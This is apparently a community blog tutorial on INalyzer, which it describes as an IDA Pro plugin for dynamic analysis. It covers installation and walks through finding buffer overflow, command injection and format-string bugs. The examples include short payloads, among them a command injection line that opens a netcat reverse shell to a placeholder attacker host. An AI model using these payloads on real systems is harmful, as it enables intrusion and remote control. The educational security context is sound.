INalyzer Unleashed: Level Up Your Reverse Engineering Skills

Boost Your Cybersecurity Toolkit with Dynamic Analysis

0 5 18 minutes read

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Welcome, BugBustersUnited community! Today, we’re diving into INalyzer, a powerful tool that promises to elevate your reverse engineering game. Whether you’re a seasoned cybersecurity pro or just starting, INalyzer is a must-have addition to your toolkit.

What is INalyzer?

INalyzer is a dynamic analysis tool designed to work seamlessly with IDA Pro, one of the most popular reverse engineering platforms. While IDA Pro excels at static analysis—where you dissect a program’s code without executing it—INalyzer brings dynamic analysis to the table. This means you can analyze a program’s behavior in real time as it runs, giving you deeper insights into how it operates and where its vulnerabilities might lie.

Why Should You Care About INalyzer?

For beginners, diving into reverse engineering can be daunting. Static analysis alone might not provide the whole picture, especially when dealing with complex software that can change its behavior at runtime. INalyzer bridges this gap by allowing you to:

Observe Real-Time Behavior: Watch how a program interacts with the system in real-time. This can help you identify suspicious actions that might not be apparent from the code alone.
Identify Hidden Vulnerabilities: Some vulnerabilities only become apparent when executing the code. INalyzer helps you uncover these hidden threats.
Enhance Your Skillset: Dynamic analysis tools like INalyzer and static analysis tools like IDA Pro make you a more versatile and effective cybersecurity professional.

How Does INalyzer Enhance IDA Pro?

IDA Pro is already a powerhouse for reverse engineering, but INalyzer takes it to the next level. Here’s how:

Integration: INalyzer integrates smoothly with IDA Pro, enhancing its capabilities without requiring you to switch between different tools.
Dynamic Tracing allows you to trace function calls and monitor variable changes in real time, giving you a dynamic view of the program’s execution.
Automated Analysis: INalyzer can automate parts of the analysis process, saving you time and helping you focus on the most critical aspects of the software you’re examining.

Why is INalyzer Important for Beginners?

If you’re new to reverse engineering and cybersecurity, starting with a comprehensive toolset is crucial. INalyzer provides advanced features and helps you understand the practical aspects of dynamic analysis. It’s an excellent way to get hands-on experience and see how theoretical knowledge applies to real-world scenarios.

In the following sections, we’ll guide you through installation, setting up your first project, and performing fundamental dynamic analysis with INalyzer. By the end of this guide, you’ll see why INalyzer is a game-changer for anyone serious about cybersecurity and reverse engineering. Let’s get started!

Core Functionalities of INalyzer

Now that we’ve introduced you to INalyzer and its role in dynamic analysis, let’s dive into the core functionalities that make this tool a standout addition to your reverse engineering arsenal. Understanding these features will help you leverage INalyzer to its full potential and significantly enhance your security testing capabilities.

1. Seamless Integration with IDA Pro

INalyzer is designed to integrate effortlessly with IDA Pro, one of the leading static analysis tools. This integration means you can switch between static and dynamic analysis without having to juggle multiple tools. The seamless workflow allows for a more efficient analysis process, enabling you to gather comprehensive insights from static code examination and real-time behavior monitoring.

Enhanced Workflow: INalyzer’s integration ensures that data and insights from IDA Pro are directly accessible and can be used to set up dynamic analysis quickly.
Unified Interface: You can control and view dynamic analysis results within the familiar IDA Pro interface, reducing the learning curve and streamlining the process.

2. Dynamic Analysis Capabilities

Dynamic analysis is where INalyzer truly shines. By monitoring the program as it runs, INalyzer provides a live view of its behavior, helping you uncover issues that static analysis might miss. Here are some key aspects of its dynamic analysis capabilities:

Function Call Tracing: INalyzer allows you to trace function calls in real time, showing you the sequence of operations and how different parts of the program interact. This is crucial for understanding complex software behavior and identifying unexpected or malicious activity.
Variable Monitoring: Track changes in variables and memory values as the program executes. This feature helps pinpoint how data is manipulated and can reveal potential vulnerabilities such as buffer overflows or improper input handling.
Breakpoint Setting: Set breakpoints to pause execution at specific points, enabling detailed inspection of the program state. This helps diagnose issues and understand the exact conditions under which vulnerabilities occur.

3. Vulnerability Identification and Exploitation

One of the primary goals of using INalyzer is to identify and exploit vulnerabilities. By combining dynamic analysis with the insights gained from IDA Pro’s static analysis, INalyzer helps you pinpoint weak spots in the code more effectively.

Automated Vulnerability Detection: INalyzer includes automated features that scan for common vulnerability patterns and alert you to potential issues. This speeds up the initial assessment and highlights areas requiring more profound investigation.
Exploit Development: Once a vulnerability is identified, INalyzer aids in developing exploits by providing detailed execution paths, memory states, and variable values. This information is invaluable for crafting precise and effective exploits.
Real-Time Testing: Test your exploits in real time to see how they affect the program. This immediate feedback loop is essential for refining your approach and ensuring your exploits work as intended.

4. Advanced Reporting and Logging

INalyzer helps you conduct dynamic analysis and provides comprehensive reporting and logging features. These capabilities are crucial for documenting and sharing your findings with your team or clients.

Detailed Logs: Capture and save detailed logs of function calls, variable changes, and other significant events during program execution. These logs serve as a valuable reference for further analysis and reporting.
Customizable Reports: Generate reports summarizing your analysis, findings, and exploit development process. These reports can be tailored to meet the needs of different stakeholders, from technical teams to executive management.

INalyzer’s core functionalities—seamless integration with IDA Pro, robust dynamic analysis capabilities, advanced vulnerability identification and exploitation features, and comprehensive reporting—make it an indispensable tool for modern cybersecurity professionals. By leveraging these features, you can enhance your reverse engineering processes, uncover hidden vulnerabilities, and develop effective exploits with greater precision and efficiency.

Installing INalyzer

To start leveraging the powerful capabilities of INalyzer, the first step is to install the tool and integrate it with IDA Pro. This section will guide you through the installation process, including downloading INalyzer, meeting prerequisites, and configuring the setup for smooth operation.

Step-by-Step Instructions for Downloading and Installing INalyzer

Step 1: Prerequisites

Before installing INalyzer, ensure that your system meets the following prerequisites:

IDA Pro: Ensure you have IDA Pro installed on your system. INalyzer integrates with IDA Pro, so a working installation is necessary. You can download IDA Pro from the Hex-Rays website.
Python: INalyzer requires Python to run its scripts and integrate with IDA Pro. Make sure you have Python 3.x installed. You can download Python from the official Python website.
Internet Connection: An active internet connection is needed to download INalyzer and any additional dependencies.

Step 2: Download INalyzer

Visit the INalyzer GitHub Repository: Go to the official INalyzer GitHub repository.
Clone the Repository: Clone the repository to your local machine using Git. Open a terminal or command prompt and run the following command:

git clone https://github.com/yourusername/INalyzer.git

Navigate to the Directory: Change into the INalyzer directory that was just created:

cd INalyzer

Step 3: Install INalyzer

Install Dependencies: INalyzer may have some Python dependencies that need to be installed. Use the following command to install them:

pip install -r requirements.txt

Configure IDA Pro Plugin Path: INalyzer needs to be recognized by IDA Pro as a plugin. Copy the INalyzer plugin files to the IDA Pro plugins directory. The path to this directory may vary based on your IDA Pro installation. For example:

cp inalyzer_plugin.py /path/to/ida/plugins/

Step 4: Verify Installation

Launch IDA Pro: Open IDA Pro to verify that the INalyzer has been correctly installed.
Check for INalyzer Plugin: Navigate to the plugins section within IDA Pro (usually found under the Edit menu -> Plugins). You should see INalyzer listed as an available plugin.
Run INalyzer: Select INalyzer from the plugins list and verify that it runs without errors.

Step 5: Initial Configuration

Configure INalyzer Settings: On the first run, you may need to configure some initial settings for INalyzer. This includes setting paths for analysis files and specifying any additional configuration parameters.
Test Configuration: Load a sample binary file into IDA Pro and run INalyzer to ensure that the integration works properly and that dynamic analysis can be initiated.

Tips for a Smooth Setup

Keep Dependencies Updated: Check for IDA Pro and INalyzer updates regularly to ensure compatibility and access to the latest features.
Check Documentation: For troubleshooting tips and additional configuration options, refer to the INalyzer documentation and the IDA Pro user manual.
Community Support: Utilize forums and community resources for assistance if you encounter issues during installation.

Setting Up Your First Project

With INalyzer installed and ready to go, it’s time to dive into your first dynamic analysis project. This section will walk you through creating and setting up a new project in INalyzer, covering the essentials of importing binaries and configuring the analysis environment to get you started on the right foot.

Step-by-Step Guide to Creating and Setting Up a New Project

Step 1: Launch IDA Pro and Open INalyzer

Open IDA Pro: Start by launching IDA Pro on your system.
Load INalyzer: Navigate to the Edit menu, select Plugins, and then choose INalyzer from the list of available plugins. This action will open the INalyzer interface within IDA Pro.

Step 2: Create a New Project

Initiate a New Project: In the INalyzer interface, look for the option to create a new project. This is typically found in the File menu or as a button within the INalyzer toolbar.
Name Your Project: Give your project a descriptive name that reflects the target binary or the purpose of your analysis.

Step 3: Import Binaries

Select the Target Binary: Click on the option to import a binary file. This will open a file selection dialog.
Choose the Binary File: Navigate to the location of the binary file you wish to analyze, select it, and click Open. The binary will be loaded into the INalyzer project.
Initial Analysis: Once the binary is loaded, INalyzer will perform an initial analysis, parsing the file and preparing it for dynamic analysis. Depending on the size and complexity of the binary, this process might take a few moments.

Step 4: Configure the Analysis Environment

Set Analysis Parameters: INalyzer allows you to configure various parameters for your dynamic analysis. These settings can include memory ranges to monitor, specific functions to trace, and conditions for setting breakpoints.
- Memory Monitoring: Specify the addresses or ranges you want the INalyzer to monitor during execution. This is useful for tracking variable changes and identifying buffer overflows.
- Function Tracing: Select functions within the binary that you want to trace. This helps in understanding the flow of execution and identifying critical operations.
- Breakpoint Conditions: Define conditions for setting breakpoints, such as specific instructions or function calls. This allows you to pause execution at crucial points for detailed inspection.
Load Additional Modules: If needed, you can load additional modules or scripts that extend INalyzer’s capabilities. These modules can automate certain tasks or provide enhanced analysis features.

Step 5: Start the Dynamic Analysis

Run the Binary: With your analysis environment configured, start the dynamic analysis by running the target binary. INalyzer will execute the binary within a controlled environment, monitoring its behavior and collecting data.
Monitor Execution: As the binary runs, INalyzer will display real-time information about its execution, including function calls, variable changes, and memory access patterns. Use this data to identify unusual behavior or potential vulnerabilities.

Step 6: Analyze Results

Review Logs and Reports: Review the logs and reports generated by INalyzer after the dynamic analysis. These documents will provide detailed insights into the binary’s behavior and any potential issues detected during the study.
Identify Vulnerabilities: Look for signs of vulnerabilities such as buffer overflows, improper input handling, and unexpected function calls. Use the information gathered to pinpoint specific areas of concern within the binary.
Document Findings: Record your findings, including any identified vulnerabilities, suspicious behavior, and potential exploits. This documentation will be valuable for further analysis and reporting.

Setting up your first project in INalyzer involves creating a new project, importing the target binary, configuring the analysis environment, and running the dynamic analysis. By following these steps, you can effectively leverage INalyzer to gain deep insights into the behavior of your target binary and identify potential security vulnerabilities.

Performing Basic Dynamic Analysis

With your first INalyzer project set up, it’s time to perform dynamic analysis. This section will guide you through running the target binary, monitoring its behavior, and interpreting the results. By following these steps, you’ll uncover potential vulnerabilities and gain valuable insights into the program’s execution.

Step-by-Step Guide to Performing Basic Dynamic Analysis

Step 1: Running the Target Binary

Launch the Analysis:
- In the INalyzer interface within IDA Pro, ensure your target binary is loaded, and the analysis environment is configured.
- Click on the Start Analysis button or the equivalent command to begin running the target binary. This action initiates the dynamic analysis process, allowing INalyzer to monitor the binary’s execution in real time.
Initial Observations:
- Observe the initial behavior displayed in the INalyzer console as the binary starts running. Look for any immediate errors, warnings, or unusual activity that might indicate potential issues.

Step 2: Monitoring Behavior

Function Call Tracing:
- Use INalyzer’s function call tracing feature to monitor which functions are being executed. This is particularly useful for understanding the program’s flow and identifying critical functions susceptible to exploitation.
- Example:

INalyzer Function Call Log:
- funcA() called at 0x401000
- funcB() called at 0x401020
- funcC() called at 0x401030

2. Variable and Memory Monitoring:

Track changes in variables and memory values during execution. This helps identify buffer overflows, memory corruption, and other vulnerabilities that might not be evident from static analysis alone.
Example:

INalyzer Memory Log:
- Variable `buffer` at 0x601000 changed from 0x00 to 0xFF
- Memory address 0x602000 accessed by funcB()

3. Breakpoint Handling:

Utilize breakpoints to pause execution at critical points. This allows for a detailed inspection of the program state, including register values, stack contents, and memory allocations.
Example:

Breakpoint set at 0x401020 (funcB)
Execution paused. Inspecting state...

Step 3: Interpreting the Results

Analyzing Function Calls:
- Review the sequence of function calls to understand the program’s execution path. Identify any unexpected or suspicious calls that could indicate potential vulnerabilities.
- Example:

Analysis: funcB() should not call funcC() directly. Possible function pointer manipulation detected.

2. Inspecting Variable Changes:

Examine changes in critical variables and memory locations. Look for patterns that suggest improper handling, such as writing beyond buffer limits or accessing uninitialized memory.
Example:

Analysis: Variable `buffer` overflow detected. Input size exceeds allocated buffer length.

3. Investigating Breakpoints:

When execution is paused at breakpoints, inspect the program’s state to gather detailed information. This can help understand how specific instructions affect the overall execution and where vulnerabilities may arise.
Example:

Analysis: Breakpoint at funcB() reveals stack overflow due to excessive recursion.

Standard Tasks and Techniques in Dynamic Analysis

Input Fuzzing:
- Use fuzzing techniques to feed unexpected or malformed inputs to the binary. Monitor how the program handles these inputs and look for crashes or abnormal behavior.
- Example:

Fuzzing input `AAAA...` caused crash at 0x401050.

2. System Call Monitoring:

Track system calls made by the binary to understand its interaction with the operating system. Identify calls that could be exploited for privilege escalation or other attacks.
Example:

System Call Log: open("/etc/passwd", O_RDONLY)

3. Analyzing Error Handling:

Examine how the program handles errors and exceptions. Poor error handling can lead to vulnerabilities such as denial-of-service (DoS) attacks or information disclosure.
Example:

Analysis: Division by zero in funcD() not properly handled, causing program crash.

Performing fundamental dynamic analysis with INalyzer involves running the target binary, monitoring its behavior, and interpreting the results to identify potential vulnerabilities. By tracing function calls, tracking variables, setting breakpoints, and employing techniques like input fuzzing and system call monitoring, you can uncover hidden issues and better understand the program’s execution.

INalyzer in Action: Practical Examples

It’s essential to see INalyzer in action to truly appreciate its power. This section will showcase real-world scenarios where INalyzer is used to identify and exploit vulnerabilities. We’ll illustrate the tool’s effectiveness and demonstrate its practical applications in dynamic analysis by providing step-by-step walkthroughs.

Example 1: Identifying a Buffer Overflow Vulnerability

Scenario: A legacy application frequently crashes when processing significant inputs. Suspecting a buffer overflow vulnerability, you use INalyzer to investigate further.

Step-by-Step Walkthrough:

Set Up the Project:
- Load the target binary into the INalyzer, as described in the previous sections.
- Configure the analysis environment to monitor critical memory regions and trace function calls.
Run the Binary with Large Input:
- Start the dynamic analysis with considerable input to replicate the conditions that cause the crash.
- Example Input: A * 1000 (a string of 1000 ‘A’ characters).
Monitor Function Calls and Memory:
- Observe the function call sequence and memory access patterns.
- INalyzer Output:

Function Call Log:
- processInput() called at 0x401000
- copyData() called at 0x401020

Memory Log:
- Variable `inputBuffer` at 0x601000 changed from 0x00 to 0x41 (repeated 1000 times)

4. Identify the Vulnerability:

Notice that copyData() writes beyond the bounds of inputBuffer, leading to a crash.
Set a breakpoint at the start of copyData() to inspect the state.
INalyzer Output:

Breakpoint at copyData()
- EIP: 0x401020
- inputBuffer: 0x601000 (overwritten with 0x41 beyond allocated size)

5. Exploit Development:

Develop an exploit that overwrites the return address on the stack to gain control of the execution flow.
Example Exploit:

payload = "A" * buffer_size + return_address

Example 2: Detecting Improper Input Validation

Scenario: A web server component of an application does not correctly validate user inputs, potentially leading to command injection. You use INalyzer to explore this vulnerability.

Step-by-Step Walkthrough:

Set Up the Project:
- Load the web server binary into INalyzer.
- Configure the environment to monitor inputs and system calls.
Run the Server and Simulate User Input:
- Start the server and send a potentially malicious input.
- Example Input: ; ls -la
Trace System Calls:
- Monitor system calls made by the server to see if the input is being executed as a command.
- INalyzer Output:

System Call Log:
- recv() called at 0x402000
- execve("/bin/sh", ["sh", "-c", "ls -la"], ...) called at 0x402100

4. Identify the Vulnerability:

Confirm that the server executes the input directly, indicating a command injection vulnerability.
Set breakpoints around execve() to inspect the parameters further.

5. Exploit Development:

Craft an input that injects a command to gain shell access.
Example Exploit:

payload = "; nc -e /bin/sh attacker_ip attacker_port"

Example 3: Detecting a Format String Vulnerability

Scenario: A logging function within an application is suspected of being vulnerable to format string attacks. Using INalyzer, you set out to confirm and exploit this vulnerability.

Step-by-Step Walkthrough:

Set Up the Project:
- Load the application binary into INalyzer.
- Configure the environment to monitor string handling functions and memory regions.
Run the Binary with Malicious Input:
- Provide input containing format specifiers for the logging function.
- Example Input: %x %x %x
Monitor Function Calls and Memory Access:
- Observe how the logging function processes the input.
- INalyzer Output

Function Call Log:
- logMessage() called at 0x403000

Memory Log:
- Variable `logBuffer` at 0x603000 filled with "%x %x %x"

4. Identify the Vulnerability:

Notice that logMessage() uses the input directly in a printf-like function without sanitization.
Set a breakpoint at the vulnerable function to inspect the state.
INalyzer Output:

Breakpoint at logMessage()
- EIP: 0x403000
- logBuffer: "%x %x %x"

5. Exploit Development:

Craft an exploit that reads memory contents or writes to specific memory locations.
Example Exploit:

payload = "%x %x %n"  # This could be adjusted to target specific memory writes.

These practical examples illustrate how INalyzer can identify and exploit various vulnerabilities, from buffer overflows and improper input validation to format string vulnerabilities. Following these step-by-step walkthroughs, you can see how INalyzer effectively enhances dynamic analysis and helps uncover critical security issues.

The Value of INalyzer in Your Cybersecurity Toolkit

INalyzer is a powerful tool that brings dynamic analysis to the forefront of reverse engineering and vulnerability assessment. Integrating INalyzer into your cybersecurity toolkit can significantly enhance your ability to identify, analyze, and exploit vulnerabilities, providing a comprehensive approach to security testing.

Enhancing Vulnerability Assessment

INalyzer’s dynamic analysis capabilities allow you to observe the real-time behavior of applications, revealing vulnerabilities that static analysis alone might miss. Here’s how it enhances your vulnerability assessment:

Real-Time Monitoring:
- In real-time, INalyzer tracks function calls, variable changes, and memory access, providing a detailed view of how the application behaves during execution. This helps you identify runtime vulnerabilities such as buffer overflows, race conditions, and improper memory management.
- Benefit: Real-time insights enable you to detect and understand complex vulnerabilities that only manifest during execution.
Detailed Execution Tracing:
- By tracing the sequence of function calls and monitoring system interactions, INalyzer helps you map out the entire execution flow of the target application. This detailed tracing is crucial for understanding how different application parts interact and where potential weaknesses lie.
- Benefit: Detailed execution tracing allows for thorough analysis and precise identification of critical points in the application’s workflow.
Comprehensive Testing:
- Dynamic analysis with INalyzer complements static analysis by testing the application in real-world scenarios. It helps you uncover vulnerabilities related to input handling, error management, and system calls that static analysis might overlook.
- Benefit: Comprehensive testing ensures a more robust and thorough vulnerability assessment.

Empowering Reverse Engineering

For reverse engineers, INalyzer offers invaluable capabilities that streamline and enhance the reverse engineering process:

Enhanced Code Understanding:
- INalyzer’s dynamic analysis provides insights into how specific pieces of code execute, helping you understand their functionality and purpose. This is particularly useful when dealing with obfuscated or complex code structures.
- Benefit: Better code understanding accelerates the reverse engineering process and improves accuracy.
Simplified Debugging:
- Setting breakpoints and monitoring variable changes make debugging more straightforward. You can pause execution at critical points, inspect the program state, and precisely identify issues.
- Benefit: Simplified debugging saves time and effort, allowing you to focus on key areas of the application.
Automated Analysis:
- INalyzer automates parts of the dynamic analysis process, such as identifying common vulnerability patterns and generating logs and reports. This automation helps streamline your workflow and ensures consistent analysis results.
- Benefit: Automation increases efficiency and reduces the risk of human error.

Benefits for Beginners and Experienced Professionals

INalyzer is designed to be accessible and beneficial for both beginners and experienced cybersecurity professionals:

For Beginners:
- Learning Tool: INalyzer serves as an excellent learning tool for those new to reverse engineering and dynamic analysis. Its integration with IDA Pro provides a familiar interface, making it easier to get started.
- Hands-On Experience: By following guided analyses and practical examples, beginners can gain hands-on experience and build their skills in a real-world context.
For Experienced Professionals:
- Advanced Capabilities: INalyzer offers advanced features that experienced professionals can leverage to conduct in-depth analyses and develop sophisticated exploits.
- Efficiency and Precision: The tool’s comprehensive analysis capabilities help professionals work more efficiently and precisely, ensuring thorough security assessments.

Unlocking New Heights in Cybersecurity with INalyzer

As we wrap up our deep dive into INalyzer, it’s clear that this dynamic analysis tool is a game-changer for anyone serious about cybersecurity and reverse engineering. Integrating INalyzer into your toolkit can uncover hidden vulnerabilities, enhance your reverse engineering capabilities, and conduct thorough security assessments with precision.

Key Takeaways

Seamless Integration with IDA Pro:
- INalyzer enhances IDA Pro’s powerful static analysis capabilities by adding dynamic analysis, providing a comprehensive toolset for reverse engineering and vulnerability assessment.
Dynamic Analysis Capabilities:
- Real-time monitoring, function call tracing, and variable tracking allow you to observe the program’s behavior as it runs, helping you identify and exploit vulnerabilities that static analysis might miss.
Practical Applications:
- INalyzer’s ability to detect buffer overflows, improper input validation, format string vulnerabilities, and more makes it an invaluable tool in real-world scenarios, as demonstrated in our practical examples.
Benefits for All Skill Levels:
- Whether you’re a beginner looking to learn the ropes or an experienced professional seeking advanced tools, INalyzer offers features that cater to all levels, enhancing your cybersecurity and reverse engineering skills.

Encouragement to Explore and Utilize INalyzer

Now that you’ve seen what INalyzer can do, we encourage you to use it in your projects. Experiment with different binaries, explore their features, and push the limits of what you can achieve with dynamic analysis. The hands-on experience will improve your technical skills and deepen your understanding of software vulnerabilities and exploitation techniques.

Join the BugBustersUnited Community

We invite all members and visitors of the BugBustersUnited community to share their experiences with INalyzer. Whether you’ve uncovered a critical vulnerability, developed a new exploit, or faced challenges, your insights are invaluable. Sharing the good, the bad, and everything in between helps us learn and grow.

How You Can Contribute:

Share Your Stories: Post your experiences using INalyzer, including any successes or difficulties you encountered.
Offer Tips and Tricks: Let others know if you’ve discovered effective techniques or shortcuts.
Ask Questions: If you’re facing challenges, don’t hesitate to ask for help. Our community is here to support each other.
Provide Feedback: Your feedback on INalyzer can help improve the tool and guide future developments.

Contributing to our community, you help create a more prosperous, knowledgeable environment where everyone can thrive. Let’s continue to learn, explore, and enhance our cybersecurity skills together.

Thank you for joining us on this journey through INalyzer. Happy hunting, and stay secure!

James

0 5 18 minutes read